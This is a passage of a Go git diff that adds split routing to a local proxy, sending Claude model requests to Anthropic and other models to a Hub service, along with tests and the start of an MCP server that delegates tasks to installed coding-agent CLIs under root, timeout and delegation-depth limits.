may be +// granted, and the ones every agent always has. +type HubToolCatalog struct { + Tools []string `json:"tools"` + AlwaysAvailable []string `json:"always_available"` +} + +// GetHubTools lists Hub's hosted MCP tools. +func GetHubTools(ctx context.Context, hubURL, token string) (*HubToolCatalog, error) { + var out HubToolCatalog + if err := doHubFlightJSON(ctx, "GET", hubURL, token, "/api/v1/tools", "", nil, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ListHubRelayToolNames returns the names of the relayed MCP tools the caller +// can reach, as Hub lists them to an agent that allows relayed tools. +func ListHubRelayToolNames(ctx context.Context, hubURL, token string) ([]string, error) { + var out struct { + Data []struct { + Name string `json:"name"` + } `json:"data"` + } + if err := doHubFlightJSON(ctx, "GET", hubURL, token, "/api/v1/relay/tools", "", nil, &out); err != nil { + return nil, err + } + names := make([]string, 0, len(out.Data)) + for _, t := range out.Data { + names = append(names, t.Name) + } + return names, nil +} diff --git a/pkg/tapper/launch_forwarder.go b/pkg/tapper/launch_forwarder.go index 3dee15d..f9494ac 100644 --- a/pkg/tapper/launch_forwarder.go +++ b/pkg/tapper/launch_forwarder.go @@ -3,6 +3,7 @@ package tapper // EXPERIMENTAL — part of `tap launch`; see tap_launch.go. import ( + "bytes" "context" "crypto/rand" "crypto/subtle" @@ -13,6 +14,8 @@ import ( "io" "net" "net/http" + "net/http/httputil" + "net/url" "strings" "time" ) @@ -42,6 +45,25 @@ var forwardedRequestHeaders = []string{"Content-Type", "Accept", "Anthropic-Vers // response correctly. Nothing else is copied back. var forwardedResponseHeaders = []string{"Content-Type", "Cache-Control", "Retry-After"} +// DefaultAnthropicURL is where a split launch sends Claude models when the +// launching environment names no ANTHROPIC_BASE_URL of its own. +const DefaultAnthropicURL = "https://api.anthropic.com" + +// maxSplitBody bounds the request body a split launch buffers to read its +// model. Anthropic's own Messages limit is lower. +const maxSplitBody = 64 << 20 + +// launchForwarderConfig configures a forwarder beyond Hub inference. +type launchForwarderConfig struct { + hubURL string + harness string + token func() string + // anthropic, when set, turns on split routing for requests under the + // pinned prefix: Claude models go here with the harness's own + // credential, everything else to Hub with the Hub credential. + anthropic string +} + // launchForwarder is a loopback proxy between a launched harness and Hub's // inference endpoints, alive for as long as the harness runs. // @@ -54,18 +76,43 @@ var forwardedResponseHeaders = []string{"Content-Type", "Cache-Control", "Retry- // It is deliberately not a general proxy: a fixed table of routes, no header // passthrough beyond content negotiation, and a per-launch secret so another // local process cannot borrow the user's identity through it. +// +// The secret is presented one of two ways. Harnesses that take an API key send +// it as one. A split Claude Code launch cannot, because its API credential is +// the user's own Claude login, so the secret is a path prefix instead: +// /t//... Under that prefix the forwarder also passes Claude models +// through to Anthropic untouched. Requests outside it still need the key. type launchForwarder struct { - upstream string // hub base URL - token func() string - secret string - client *http.Client - ln net.Listener - srv *http.Server + upstream string // hub base URL + harness string // sent to Hub as X-Tap-Harness + token func() string + secret string + client *http.Client + anthropic *httputil.ReverseProxy // nil unless split routing is on + ln net.Listener + srv *http.Server } // startLaunchForwarder listens on a random loopback port and serves until -// Close. token is called once per forwarded request. -func startLaunchForwarder(hubURL string, token func() string) (*launchForwarder, error) { +// Close. token is called once per forwarded request. harness names the +// launched harness to Hub, which labels the requests with it for providers +// that attribute usage to apps; it grants nothing. +func startLaunchForwarder(hubURL, harness string, token func() string) (*launchForwarder, error) { + return startLaunchForwarderWith(launchForwarderConfig{hubURL: hubURL, harness: harness, token: token}) +} + +// startLaunchForwarderWith is startLaunchForwarder with split routing +// available. +func startLaunchForwarderWith(cfg launchForwarderConfig) (*launchForwarder, error) { + hubURL, harness, token := cfg.hubURL, cfg.harness, cfg.token + var anthropic *httputil.ReverseProxy + if cfg.anthropic != "" { + target, err := url.Parse(strings.TrimRight(cfg.anthropic, "/")) + if err != nil || target.Scheme == "" || target.Host == "" { + return nil, fmt.Errorf("anthropic upstream %q is not an absolute URL", cfg.anthropic) + } + anthropic = anthropicPassthrough(target) + } secret, err := launchSecret() if err != nil { return nil, err @@ -76,12 +123,14 @@ func startLaunchForwarder(hubURL string, token func() string) (*launchForwarder, } f := &launchForwarder{ upstream: strings.TrimRight(hubURL, "/"), + harness: harness, token: token, secret: secret, // No overall timeout: a streamed completion legitimately runs for // minutes. Cancellation follows the harness's request context instead. - client: hubHTTPClient(), - ln: ln, + client: hubHTTPClient(), + anthropic: anthropic, + ln: ln, } f.srv = &http.Server{Handler: f, ReadHeaderTimeout: 10 * time.Second} go func() { _ = f.srv.Serve(ln) }() @@ -106,8 +155,32 @@ func (f *launchForwarder) Close() error { return nil } +// PinnedPrefix is the path prefix that stands in for the launch key, for a +// harness whose API credential is its own: /t/. +func (f *launchForwarder) PinnedPrefix() string { return "/t/" + f.secret } + func (f *launchForwarder) ServeHTTP(w http.ResponseWriter, r *http.Request) { - path, ok := forwarderRoutes[r.Method+" "+r.URL.Path] + reqPath, pinned := r.URL.Path, false + if rest, ok := strings.CutPrefix(reqPath, "/t/"); ok { + nonce, tail, _ := strings.Cut(rest, "/") + if subtle.ConstantTimeCompare([]byte(nonce), []byte(f.secret)) != 1 { + forwarderError(w, http.StatusNotFound, "not_found", "unknown launch") + return + } + reqPath, pinned = "/"+tail, true + } + if pinned && f.anthropic != nil { + if tail, ok := strings.CutPrefix(reqPath, "/anthropic/"); ok { + switch f.splitRoute(w, r, reqPath) { + case splitAnthropic: + f.passToAnthropic(w, r, "/"+tail) + return + case splitAnswered: + return + } + } + } + path, ok := forwarderRoutes[r.Method+" "+reqPath] if !ok { forwarderError(w, http.StatusNotFound, "not_found", "the tap launch forwarder serves only Hub's inference routes") return @@ -116,15 +189,17 @@ func (f *launchForwarder) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.URL.RawQuery != "" { target += "?" + r.URL.RawQuery } - // OpenAI clients send the key as a bearer token, Anthropic ones as - // x-api-key or a bearer token. - presented, _ := strings.CutPrefix(r.Header.Get("Authorization"), "Bearer ") - if presented == "" { - presented = r.Header.Get("X-Api-Key") - } - if subtle.ConstantTimeCompare([]byte(presented), []byte(f.secret)) != 1 { - forwarderError(w, http.StatusUnauthorized, "unauthorized", "invalid launch key") - return + if !pinned { + // OpenAI clients send the key as a bearer token, Anthropic ones as + // x-api-key or a bearer token. + presented, _ := strings.CutPrefix(r.Header.Get("Authorization"), "Bearer ") + if presented == "" { + presented = r.Header.Get("X-Api-Key") + } + if subtle.ConstantTimeCompare([]byte(presented), []byte(f.secret)) != 1 { + forwarderError(w, http.StatusUnauthorized, "unauthorized", "invalid launch key") + return + } } token := f.token() if token == "" { @@ -144,6 +219,9 @@ func (f *launchForwarder) ServeHTTP(w http.ResponseWriter, r *http.Request) { } } req.Header.Set("Authorization", "Bearer "+token) + if f.harness != "" { + req.Header.Set("X-Tap-Harness", f.harness) + } resp, err := f.client.Do(req) if err != nil { @@ -164,6 +242,90 @@ func (f *launchForwarder) ServeHTTP(w http.ResponseWriter, r *http.Request) { copyFlushing(w, resp.Body) } +// Where a split launch sends one Anthropic-protocol request. +type splitDestination int + +const ( + splitHub splitDestination = iota // a Hub catalog model + splitAnthropic // the user's own Claude account + splitAnswered // refused; the response is written +) + +// splitRoute decides where a split launch's Anthropic request goes: Anthropic +// for any route other than Messages and token counting, or for one naming a +// Claude model; Hub otherwise. A Hub-bound request's buffered body is put back +// on r. +func (f *launchForwarder) splitRoute(w http.ResponseWriter, r *http.Request, reqPath string) splitDestination { + if _, ok := forwarderRoutes[r.Method+" "+reqPath]; !ok { + return splitAnthropic + } + body, err := io.ReadAll(io.LimitReader(r.Body, maxSplitBody+1)) + _ = r.Body.Close() + if err != nil || len(body) > maxSplitBody { + forwarderError(w, http.StatusRequestEntityTooLarge, "request_too_large", "request body is unreadable or too large to route") + return splitAnswered + } + r.Body = io.NopCloser(bytes.NewReader(body)) + r.ContentLength = int64(len(body)) + var peek struct { + Model string `json:"model"` + } + _ = json.Unmarshal(body, &peek) + if IsClaudeModel(peek.Model) { + return splitAnthropic + } + return splitHub +} + +// passToAnthropic sends a split launch's request to Anthropic as the harness +// made it, credential included. The Hub credential is never added: this leg +// is the user's own Claude account, not Hub. +func (f *launchForwarder) passToAnthropic(w http.ResponseWriter, r *http.Request, upstreamPath string) { + out := r.Clone(r.Context()) + out.URL.Path, out.URL.RawPath = upstreamPath, "" + out.RequestURI = "" + f.anthropic.ServeHTTP(w, out) +} + +// anthropicPassthrough proxies to target, streaming responses as they arrive. +// Rewrite (rather than Director) adds no X-Forwarded-* headers, and the proxy +// drops hop-by-hop ones; everything else the harness sends, its credential +// and Anthropic's beta flags included, goes through unchanged. +func anthropicPassthrough(target *url.URL) *httputil.ReverseProxy { + return &httputil.ReverseProxy{ + Rewrite: func(pr *httputil.ProxyRequest) { pr.SetURL(target) }, + FlushInterval: -1, + ErrorHandler: func(w http.ResponseWriter, r *http.Request, err error) { + if r.Context().Err() != nil { + return + } + forwarderError(w, http.StatusBadGateway, "anthropic_unreachable", "could not reach Anthropic: "+err.Error()) + }, + } +} + +// claudeModelAliases are the model names Claude Code resolves itself. +var claudeModelAliases = []string{"default", "best", "sonnet", "opus", "haiku", "fable", "opusplan"} + +// IsClaudeModel reports whether model names one of Anthropic's own models +// (claude-*, or an alias Claude Code resolves) rather than a Hub catalog id. +// A [1m]-style context suffix is ignored. +func IsClaudeModel(model string) bool { + model = strings.ToLower(strings.TrimSpace(model)) + if i := strings.IndexByte(model, '['); i > 0 { + model = model[:i] + } + if strings.HasPrefix(model, "claude-") || strings.HasPrefix(model, "anthropic/") { + return true + } + for _, alias := range claudeModelAliases { + if model == alias { + return true + } + } + return false +} + // copyFlushing streams body to w, flushing after every read so server-sent // events reach the harness as they arrive rather than when a buffer fills. func copyFlushing(w http.ResponseWriter, body io.Reader) { diff --git a/pkg/tapper/launch_split_test.go b/pkg/tapper/launch_split_test.go new file mode 100644 index 0000000..06cac1b --- /dev/null +++ b/pkg/tapper/launch_split_test.go @@ -0,0 +1,234 @@ +package tapper + +import ( + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/stretchr/testify/require" +) + +// Split mode is Claude Code's default: no Hub credential in the child, the key +// moves into the base URL's path, and the picker adds Hub models beside +// Claude's own instead of replacing them. +func TestResolveLaunch_ClaudeSplit(t *testing.T) { + t.Parallel() + hub := fakeInferenceHub(t, "hub-token", twoModels) + tap := newLaunchTap(t, hub.URL, "") + + got, err := tap.ResolveLaunch(LaunchOptions{Harness: "claude"}) + require.NoError(t, err) + require.Equal(t, LaunchInferenceSplit, got.Inference) + require.Empty(t, got.Model, "without --model Claude Code starts on its own default") + require.Equal(t, "claude", got.Argv[0]) + require.NotContains(t, got.Argv, "--model") + require.Equal(t, launchForwarderPlaceholder+"/t/"+launchKeyPlaceholder+"/anthropic", got.Env["ANTHROPIC_BASE_URL"]) + for _, name := range []string{"ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_MAX_CONTEXT_TOKENS", "TAP_MODEL"} { + require.NotContains(t, got.Env, name, "split mode leaves %s to Claude Code", name) + } + require.Equal(t, []string{"TAP_AGENT"}, got.StripEnv, "the user's own Anthropic credential is not stripped") + var settings struct { + ModelPicker struct { + Options []struct{ Model string } `json:"options"` + Replace *bool `json:"replaceBuiltInOptions"` + } `json:"modelPicker"` + } + require.Equal(t, "--settings", got.Argv[1]) + require.NoError(t, json.Unmarshal([]byte(got.Argv[2]), &settings)) + require.Len(t, settings.ModelPicker.Options, 2) + require.NotNil(t, settings.ModelPicker.Replace) + require.False(t, *settings.ModelPicker.Replace, "Claude's built-in models stay in the picker") + noHubToken(t, got) + + got, err = tap.ResolveLaunch(LaunchOptions{Harness: "claude", Model: "sonnet"}) + require.NoError(t, err) + require.Equal(t, []string{"claude", "--model", "sonnet"}, got.Argv[:3]) + require.NotContains(t, got.Env, "CLAUDE_CODE_MAX_CONTEXT_TOKENS") + + got, err = tap.ResolveLaunch(LaunchOptions{Harness: "claude", Model: "@me/qwen3:8b"}) + require.NoError(t, err) + require.Equal(t, "32768", got.Env["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], "a Hub starting model still sets its window") + + _, err = tap.ResolveLaunch(LaunchOptions{Harness: "claude", Model: "@other/x"}) + require.ErrorContains(t, err, "neither a Claude model nor in your catalog") + + // A hub that cannot list models degrades split mode to Claude models. + wrong := fakeInferenceHub(t, "other-token", twoModels) + got, err = newLaunchTap(t, wrong.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude"}) + require.NoError(t, err) + require.Equal(t, []string{"claude"}, got.Argv) + require.Contains(t, strings.Join(got.Warnings, "\n"), "Claude models only") +} + +func TestResolveLaunch_ClaudeSubscription(t *testing.T) { + t.Parallel() + hub := fakeInferenceHub(t, "hub-token", twoModels) + got, err := newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Inference: LaunchInferenceSubscription, Model: "@me/llama3"}) + require.NoError(t, err) + require.Equal(t, []string{"claude"}, got.Argv) + require.NotContains(t, got.Env, "ANTHROPIC_BASE_URL") + require.Contains(t, strings.Join(got.Warnings, "\n"), "is a Hub model") + + _, err = newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "codex", Inference: LaunchInferenceSubscription}) + require.ErrorContains(t, err, "Hub models only") + _, err = newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Inference: "both"}) + require.ErrorContains(t, err, "unknown inference mode") +} + +func TestIsClaudeModel(t *testing.T) { + t.Parallel() + for _, m := range []string{"claude-sonnet-5-5", "claude-opus-5-5[1m]", "sonnet", "Opus", "haiku", "default"} { + require.True(t, IsClaudeModel(m), m) + } + for _, m := range []string{"", "@me/qwen3:8b", "@me/claude-distill", "relay/ollama/llama3", "gpt-5"} { + require.False(t, IsClaudeModel(m), m) + } +} + +// Under the pinned prefix the forwarder routes by model: Claude models reach +// Anthropic with the harness's own credential, Hub models reach Hub with the +// Hub credential, and neither credential crosses to the other side. +func TestLaunchForwarder_Split(t *testing.T) { + t.Parallel() + type seen struct{ path, auth, apiKey, beta, body string } + anthropicSaw := make(chan seen, 4) + anthropic := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + body, _ := io.ReadAll(r.Body) + anthropicSaw <- seen{r.URL.Path, r.Header.Get("Authorization"), r.Header.Get("X-Api-Key"), r.Header.Get("Anthropic-Beta"), string(body)} + w.Header().Set("Content-Type", "text/event-stream") + w.Header().Set("Anthropic-Ratelimit-Unified-Status", "allowed") + _, _ = io.WriteString(w, "data: {}\n\n") + })) + t.Cleanup(anthropic.Close) + hub := fakeInferenceHub(t, "hub-token", twoModels) + fw, err := startLaunchForwarderWith(launchForwarderConfig{hubURL: hub.URL, harness: "claude", token: func() string { return "hub-token" }, anthropic: anthropic.URL}) + require.NoError(t, err) + t.Cleanup(func() { _ = fw.Close() }) + + oauth := map[string]string{"Authorization": "Bearer sk-ant-oat-user", "Anthropic-Beta": "oauth-2025-04-20"} + post := func(path, body string, headers map[string]string) *http.Response { + req, err := http.NewRequest(http.MethodPost, fw.Origin()+path, strings.NewReader(body)) + require.NoError(t, err) + req.Header.Set("Content-Type", "application/json") + for k, v := range headers { + req.Header.Set(k, v) + } + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + t.Cleanup(func() { _ = resp.Body.Close() }) + return resp + } + pinned := fw.PinnedPrefix() + + resp := post(pinned+"/anthropic/v1/messages", `{"model":"claude-sonnet-5-5","stream":true}`, oauth) + require.Equal(t, http.StatusOK, resp.StatusCode) + require.Equal(t, "allowed", resp.Header.Get("Anthropic-Ratelimit-Unified-Status"), "Anthropic's headers reach Claude Code") + got := <-anthropicSaw + require.Equal(t, "/v1/messages", got.path) + require.Equal(t, "Bearer sk-ant-oat-user", got.auth, "the user's own credential goes to Anthropic unchanged") + require.Equal(t, "oauth-2025-04-20", got.beta) + require.JSONEq(t, `{"model":"claude-sonnet-5-5","stream":true}`, got.body) + + resp = post(pinned+"/anthropic/v1/messages/count_tokens", `{"model":"sonnet"}`, map[string]string{"X-Api-Key": "sk-ant-api-user"}) + require.Equal(t, http.StatusOK, resp.StatusCode) + got = <-anthropicSaw + require.Equal(t, "/v1/messages/count_tokens", got.path) + require.Equal(t, "sk-ant-api-user", got.apiKey) + + resp = post(pinned+"/anthropic/v1/messages", `{"model":"@me/qwen3:8b"}`, oauth) + require.Equal(t, http.StatusOK, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + require.Contains(t, string(body), `"path":"/inference/anthropic/v1/messages"`) + require.Contains(t, string(body), `"bearer":"hub-token"`, "Hub models carry the Hub credential, not the user's Claude login") + require.NotContains(t, string(body), "sk-ant-oat-user") + require.Empty(t, anthropicSaw, "a Hub model never reaches Anthropic") + + require.Equal(t, http.StatusNotFound, post("/t/wrong/anthropic/v1/messages", `{"model":"claude-sonnet-5-5"}`, oauth).StatusCode) + require.Equal(t, http.StatusUnauthorized, post("/anthropic/v1/messages", `{"model":"claude-sonnet-5-5"}`, oauth).StatusCode, + "outside the prefix the launch key is still required") + require.Equal(t, http.StatusNotFound, post(pinned+"/v1/other", `{}`, oauth).StatusCode, "the prefix opens no new Hub routes") + require.Empty(t, anthropicSaw) + + // Without split routing the prefix still authorizes Hub routes only. + plain, err := startLaunchForwarder(hub.URL, "claude", func() string { return "hub-token" }) + require.NoError(t, err) + t.Cleanup(func() { _ = plain.Close() }) + req, _ := http.NewRequest(http.MethodPost, plain.Origin()+plain.PinnedPrefix()+"/anthropic/v1/messages", strings.NewReader(`{"model":"claude-sonnet-5-5"}`)) + r, err := http.DefaultClient.Do(req) + require.NoError(t, err) + _ = r.Body.Close() + require.Equal(t, http.StatusOK, r.StatusCode) + require.Empty(t, anthropicSaw, "no anthropic upstream, nothing goes there") +} + +// Relayed tools come from the plugin's `tap mcp`, so the forwarder no longer +// serves Hub's /mcp/relay, even under the pinned prefix. +func TestLaunchForwarder_NoRelayMCP(t *testing.T) { + t.Parallel() + var hubSaw []string + hub := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + hubSaw = append(hubSaw, r.URL.Path) + w.WriteHeader(http.StatusTeapot) + })) + t.Cleanup(hub.Close) + fw, err := startLaunchForwarderWith(launchForwarderConfig{hubURL: hub.URL, harness: "claude", token: func() string { return "hub-token" }}) + require.NoError(t, err) + t.Cleanup(func() { _ = fw.Close() }) + + resp, err := http.Post(fw.Origin()+fw.PinnedPrefix()+"/mcp/relay", "application/json", strings.NewReader(`{}`)) + require.NoError(t, err) + _ = resp.Body.Close() + require.Equal(t, http.StatusNotFound, resp.StatusCode) + require.Empty(t, hubSaw, "nothing reaches Hub's relay endpoint through the forwarder") +} + +// An agent's subagents become Claude Code subagents limited to their own +// tools; relayed tools carry the plugin's prefix, since `tap mcp` serves them. +func TestResolveLaunch_ClaudeAgentExtras(t *testing.T) { + t.Parallel() + hub := fakeAgentHub(t, "hub-token", twoModels, map[string]string{ + "/api/v1/tools": `{"tools":["keg_search","node_read"],"always_available":["orient"]}`, + "/api/v1/relay/tools": `{"data":[{"name":"mcp__me__everything__echo"}]}`, + "/api/v1/@me/agents/lead": `{"ref":"@me/lead","namespace":"me","name":"lead","instructions":"Lead.","model":"@me/llama3", + "tools":["relay:tools"],"runtime_tools":[],"relay_tools":true,"subagents":["@me/reader","@me/open","@me/gone"]}`, + "/api/v1/@me/agents/reader": `{"ref":"@me/reader","namespace":"me","name":"reader","description":"Reads notes.","instructions":"Read.", + "model":"@me/qwen3:8b","runtime_tools":["node_read","orient"],"relay_tools":true}`, + "/api/v1/@me/agents/open": `{"ref":"@me/open","namespace":"me","name":"open","title":"Open","model":"@other/missing","runtime_tools":[]}`, + }) + got, err := newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Agent: "@me/lead"}) + require.NoError(t, err) + require.Contains(t, strings.Join(got.Warnings, "\n"), "subagent @me/gone skipped") + + require.NotContains(t, got.Argv, "--mcp-config", "relayed tools come from the plugin's tap mcp") + + var agentsJSON string + for j, a := range got.Argv { + if a == "--agents" { + agentsJSON = got.Argv[j+1] + } + } + var subagents map[string]claudeSubagent + require.NoError(t, json.Unmarshal([]byte(agentsJSON), &subagents)) + require.Len(t, subagents, 2) + reader := subagents["me-reader"] + require.Equal(t, "Reads notes.", reader.Description) + require.Equal(t, "Read.", reader.Prompt) + require.Equal(t, "@me/qwen3:8b", reader.Model, "a Hub model is usable in split mode") + require.Equal(t, []string{"Read", "Grep", "Glob", + "mcp__plugin_tapper_tapper__node_read", "mcp__plugin_tapper_tapper__orient", + "mcp__plugin_tapper_tapper__mcp__me__everything__echo"}, reader.Tools) + open := subagents["me-open"] + require.Equal(t, "Open", open.Description) + require.Empty(t, open.Model, "a model the launch cannot reach is left to inherit") + require.Equal(t, []string{"Read", "Grep", "Glob", + "mcp__plugin_tapper_tapper__keg_search", "mcp__plugin_tapper_tapper__node_read", "mcp__plugin_tapper_tapper__orient"}, open.Tools, + "every Hub tool, and no relayed tool without relay_tools") + + got, err = newLaunchTap(t, hub.URL, "").ResolveLaunch(LaunchOptions{Harness: "claude", Agent: "@me/lead", Subagents: "none", SubagentBuiltins: []string{}}) + require.NoError(t, err) + require.NotContains(t, got.Argv, "--agents") + noHubToken(t, got) +} diff --git a/pkg/tapper/runner.go b/pkg/tapper/runner.go new file mode 100644 index 0000000..01b3fe9 --- /dev/null +++ b/pkg/tapper/runner.go @@ -0,0 +1,728 @@ +package tapper + +import ( + "bufio" + "bytes" + "context" + "crypto/rand" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os/exec" + "path/filepath" + "strconv" + "strings" + "time" + "unicode/utf8" + + "github.com/jlrickert/cli-toolkit/toolkit" + + "github.com/jlrickert/tapper/pkg/relaycontract" +) + +// `tap runner serve` is an MCP server that hands a task to a coding agent CLI +// installed on this machine (Claude Code, Codex, opencode, pi) and returns its +// reply. The relay offers it as a built-in server, so a Hub chat or another +// agent can delegate work to the machine's runners. Each runner applies its +// own permission settings; nothing here bypasses them. + +// Environment variables `tap runner serve` reads and sets. +const ( + // RunnerRootsEnv lists the directories (os.PathListSeparator-separated) + // a task's cwd must be under. Unset means $HOME. + RunnerRootsEnv = "TAP_RUNNER_ROOTS" + // RunnerTimeoutEnv bounds one task, as a Go duration. Unset means + // DefaultRunnerTimeout. + RunnerTimeoutEnv = "TAP_RUNNER_TIMEOUT" + // RunnerDepthEnv counts how many runner delegations deep a process is. + // A runner's child gets it incremented; a server that sees 1 or more + // refuses every call, so a delegated agent cannot delegate again. + RunnerDepthEnv = "TAP_RUNNER_DEPTH" + // RelayToolsEnv set to "off" keeps `tap mcp` from offering relayed tools. + // Runner children get it so they cannot reach back into the relay. + RelayToolsEnv = "TAP_RELAY_TOOLS" +) + +// DefaultRunnerTimeout bounds one runner task when nothing else is set. +const DefaultRunnerTimeout = 30 * time.Minute + +const ( + // maxRunnerStdout caps the runner output kept for parsing. Output past it + // is dropped; the reply normally comes early (Claude Code's one JSON + // object) or from a file (Codex). + maxRunnerStdout = 8 << 20 + // maxRunnerStderr keeps the tail of stderr, for error reports. + maxRunnerStderr = 16 << 10 + // maxRunnerReply caps the reply. The relay rejects a tool result over + // relaycontract.MaxToolResultBytes, and the reply is sent twice (text and + // structured content), JSON-escaped, so it gets a quarter of that. + maxRunnerReply = relaycontract.MaxToolResultBytes / 4 +) + +// RunnerSpec describes one coding agent CLI `tap runner serve` can drive. +type RunnerSpec struct { + // Name is the runner's short name, reported in results. + Name string + // Binary is the executable looked up on PATH. + Binary string + // Tool is the MCP tool name that runs it. + Tool string + // Title is the human name used in tool descriptions. + Title string + // Permissions says, for the tool description, what the runner may do + // without asking in this non-interactive mode. + Permissions string +} + +// Runners are the coding agent CLIs `tap runner serve` knows, in tool order. +var Runners = []RunnerSpec{ + {Name: "claude", Binary: "claude", Tool: "claude_code_run", Title: "Claude Code", + Permissions: "Claude Code applies your permission settings; in print mode it denies any action that would need an interactive prompt."}, + {Name: "codex", Binary: "codex", Tool: "codex_run", Title: "Codex", + Permissions: "Codex applies your config; `codex exec` runs in a read-only sandbox unless your config grants more."}, + {Name: "opencode", Binary: "opencode", Tool: "opencode_run", Title: "opencode", + Permissions: "opencode applies your permission config to every tool it uses."}, + {Name: "pi", Binary: "pi", Tool: "pi_run", Title: "pi", + Permissions: "pi runs with the tools and settings of your pi configuration."}, +} + +// InstalledRunner is a runner found on PATH. +type InstalledRunner struct { + RunnerSpec + // Path is the resolved executable. + Path string +} + +// DetectRunners returns the runners installed on pathEnv (a PATH value), in +// Runners order. +func DetectRunners(pathEnv string) []InstalledRunner { + var out []InstalledRunner + for _, spec := range Runners { + if p, ok := lookPathIn(pathEnv, spec.Binary); ok { + out = append(out, InstalledRunner{RunnerSpec: spec, Path: p}) + } + } + return out +} + +// lookPathIn finds an executable named file in the directories of pathEnv. +// It searches the runtime's PATH rather than the process's, so tests can +// control what is installed. Relative PATH entries are ignored. +func lookPathIn(pathEnv, file string) (string, bool) { + for _, dir := range filepath.SplitList(pathEnv) { + if dir == "" || !filepath.IsAbs(dir) { + continue + } + // A name with a separator is checked directly, never searched for. + if p, err := exec.LookPath(filepath.Join(dir, file)); err == nil { + return p, true + } + } + return "", false +} + +// RunnerInput is one task for a runner. +type RunnerInput struct { + Task string `json:"task" jsonschema:"the instruction for the coding agent, as you would type it"` + Cwd string `json:"cwd" jsonschema:"absolute path of the directory to work in; must be under one of the relay's allowed roots"` + Session string `json:"session,omitempty" jsonschema:"session id from an earlier result, to continue that conversation"` + Model string `json:"model,omitempty" jsonschema:"model to use, in the runner's own naming; omit for its default"` +} + +// RunnerOutput is a runner's answer to one task. +type RunnerOutput struct { + Runner string `json:"runner" jsonschema:"the runner that ran the task"` + Session string `json:"session,omitempty" jsonschema:"session id; pass it back as session to continue"` + Reply string `json:"reply" jsonschema:"the runner's final reply"` + IsError bool `json:"is_error" jsonschema:"whether the run failed"` +} + +// RunnerService runs tasks on the installed runners. Build it with +// NewRunnerService. +type RunnerService struct { + rt *toolkit.Runtime + // Installed are the runners found on the runtime's PATH. + Installed []InstalledRunner + // Roots are the directories a task's cwd must resolve under. + Roots []string + // Timeout bounds one task. + Timeout time.Duration + // Depth is this process's delegation depth; at 1 or more every call is + // refused. + Depth int +} + +// NewRunnerService reads the runner settings from rt's environment. +func NewRunnerService(rt *toolkit.Runtime) (*RunnerService, error) { + s := &RunnerService{rt: rt, Installed: DetectRunners(rt.Get("PATH")), Timeout: DefaultRunnerTimeout} + if v := strings.TrimSpace(rt.Get(RunnerTimeoutEnv)); v != "" { + d, err := time.ParseDuration(v) + if err != nil || d <= 0 { + return nil, fmt.Errorf("%s %q must be a positive duration such as 30m", RunnerTimeoutEnv, v) + } + s.Timeout = d + } + if v := strings.TrimSpace(rt.Get(RunnerDepthEnv)); v != "" { + n, err := strconv.Atoi(v) + if err != nil || n < 0 { + return nil, fmt.Errorf("%s %q must be a non-negative integer", RunnerDepthEnv, v) + } + s.Depth = n + } + for _, root := range filepath.SplitList(rt.Get(RunnerRootsEnv)) { + if root = strings.TrimSpace(root); root != "" { + s.Roots = append(s.Roots, root) + } + } + if len(s.Roots) == 0 { + home, err := rt.GetHome() + if err != nil || home == "" { + return nil, fmt.Errorf("no %s set and no home directory to default to", RunnerRootsEnv) + } + s.Roots = []string{home} + } + return s, nil +} + +// Only narrows the service to the named runner, so it serves that one tool +// and refuses the rest. It fails when the runner is unknown or not installed. +func (s *RunnerService) Only(name string) error { + known := false + for _, spec := range Runners { + known = known || spec.Name == name + } + if !known { + names := make([]string, 0, len(Runners)) + for _, spec := range Runners { + names = append(names, spec.Name) + } + return fmt.Errorf("unknown runner %q (expected one of %s)", name, strings.Join(names, ", ")) + } + for _, r := range s.Installed { + if r.Name == name { + s.Installed = []InstalledRunner{r} + return nil + } + } + return fmt.Errorf("runner %q is not installed on this machine", name) +} + +// Run hands in.Task to the named runner and waits for its reply. Bad input or +// a refused call is an error; a runner that ran and failed is an output with +// IsError set. +func (s *RunnerService) Run(ctx context.Context, name string, in RunnerInput) (RunnerOutput, error) { + if s.Depth >= 1 { + return RunnerOutput{}, fmt.Errorf("refusing to delegate: this runner server was started by a delegated task (%s=%d), and a delegated agent cannot delegate again", RunnerDepthEnv, s.Depth) + } + var runner *InstalledRunner + for i := range s.Installed { + if s.Installed[i].Name == name { + runner = &s.Installed[i] + } + } + if runner == nil { + return RunnerOutput{}, fmt.Errorf("runner %q is not installed on this machine", name) + } + if strings.TrimSpace(in.Task) == "" { + return RunnerOutput{}, errors.New("task is required") + } + dir, err := s.checkCwd(in.Cwd) + if err != nil { + return RunnerOutput{}, err + } + + ctx, cancel := context.WithTimeout(ctx, s.Timeout) + defer cancel() + + // Codex writes its last message to a file, which is more reliable than + // picking it out of the event stream. + var lastMessage string + if runner.Name == "codex" { + tmp := s.rt.GetTempDir() + if err := s.rt.Mkdir(tmp, 0o700, true); err != nil { + return RunnerOutput{}, fmt.Errorf("create temp directory: %w", err) + } + lastMessage = filepath.Join(tmp, "tap-runner-"+randomHex(8)+".txt") + defer func() { _ = s.rt.Remove(lastMessage, false) }() + } + lastMessageHost := "" + if lastMessage != "" { + if lastMessageHost, err = s.rt.HostPath(lastMessage); err != nil { + return RunnerOutput{}, err + } + } + + args := runnerArgs(runner.Name, in, lastMessageHost) + cmd := exec.CommandContext(ctx, runner.Path, args...) + cmd.Dir = dir + cmd.Env = append(stripEnv(s.rt.Environ(), []string{RunnerDepthEnv, RelayToolsEnv}), + RunnerDepthEnv+"="+strconv.Itoa(s.Depth+1), + RelayToolsEnv+"=off", + ) + stdout := &headBuffer{max: 